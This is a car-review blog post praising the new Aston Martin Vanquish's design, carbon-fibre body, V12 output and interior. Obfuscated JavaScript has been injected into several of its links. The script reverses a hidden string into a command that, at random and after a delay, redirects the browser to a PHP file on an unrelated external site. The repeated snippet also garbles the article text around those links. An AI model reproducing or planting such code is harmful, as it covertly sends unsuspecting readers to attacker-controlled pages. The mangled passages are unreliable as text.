New Aston Martin Vanquish. The Best Ever?

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I have to confess that I think Aston Martin makes the prettiest cars on sale today. For over a decade now Aston has consistently pumped out cars that are unrivalled in terms of beauty. I am certainly not one of those people who complain that their models have cookie-cutter styling, because I think they are all gorgeous.

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So when I first laid eyes on the all-new Vanquish, I was neither surprised nor disappointed that it essentially looked like a DBS (the car it replaces) with a rear spoiler. Throw in some styling cues from the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/aston-martin-one-77-2-x-q-series-dubai-mall/” target=”_blank”>One-77 and you have possibly the most beautiful modern Aston yet. At a time when competitors have made giant leaps in performance, the big question is whether the Vanquish is a significant enough improvement over its predecessor. Does the progression underneath the skin mirror the baby steps of the styling, or does it reflect the sheer depth of change that Aston Martin claims the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/driveway-heroes-aston-martin-vanquish/” target=”_blank”>Vanquish represents?

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So what lurks beneath those elegant lines? Although the aluminium structure remains largely the same as the DBS’s (and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/2013-aston-martin-db9-a-new-look-for-genesis/” target=”_blank”>DB9’s and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/vision/the-all-new-aston-martin-vantage/” target=”_blank”>Vantage’s and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/aston-vs-porsche-rapide-vs-panamera-part-two-final-round/” target=”_blank”>Rapide’s), the front-end structure is significantly lighter and is redesigned to allow the engine to be mounted lower than in the DBS. Every body-panel is new and now made of carbon fibre. Take a close look at that integrated, one-piece rear spoiler/trunk lid, a piece Aston says would be impossible to make from metal. The end result is a 25 percent increase in torsional rigidity and a weight reduction of 40kg. It’s still no lightweight though, tipping the scales at 1,739kg.

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Underneath the bonnet there is an updated 6.0-litre V12 with variable timing on both the intake and exhaust cams (now hollow), larger throttle bodies, a revised intake manifold, and a few other tweaks that bump output from the DBS’s 510bhp and 420lb ft of torque to 565bhp and 457lb ft respectively. They yield a quicker 0-100kph time of 4.1 seconds, though the Vanquish’s 295kph top speed is curiously 13kph slower than the DBS’s.

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Swing open the swan doors and inside you’ll find a refreshed interior that is stunning. The main controls on the centre console are now touch sensitive, emitting a little haptic buzz as you run your fingers across them. It’s a nice touch and a bit unexpected. Fit and finish is generally exemplary, and I do dig the gorgeous (but optional) squared-off steering wheel, borrowed from the limited edition One-77. Meanwhile the Vanquish’s new multimedia system finally brings Aston into the 21st century. There is even a new Garmin-based navigation system that replaces the archaic Volvo one, which used to be such a let-down in previous Astons. Clever packaging means there’s more room too: legroom is up 37mm, shoulder room 25mm, elbow room 87mm and knee room by 50mm. Also the dash is pushed back 200mm and the boot is 60 percent larger. Impressive considering the Vanquish is no bigger on the outside.

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Push the crystalline key fob into its rectangular slot in the dash and the engine fires up with a burst of noise that could only be made by a big V12 before quickly settling into a sophisticated gurgle. There are now separate setting controls on the steering wheel for the continuously variable suspension (Normal, Sport, and Track) and powertrain (Normal and Sport), so you can tune them separately. With both set to Sport mode, I attack the road ahead and immediately it feels different. In a good way.

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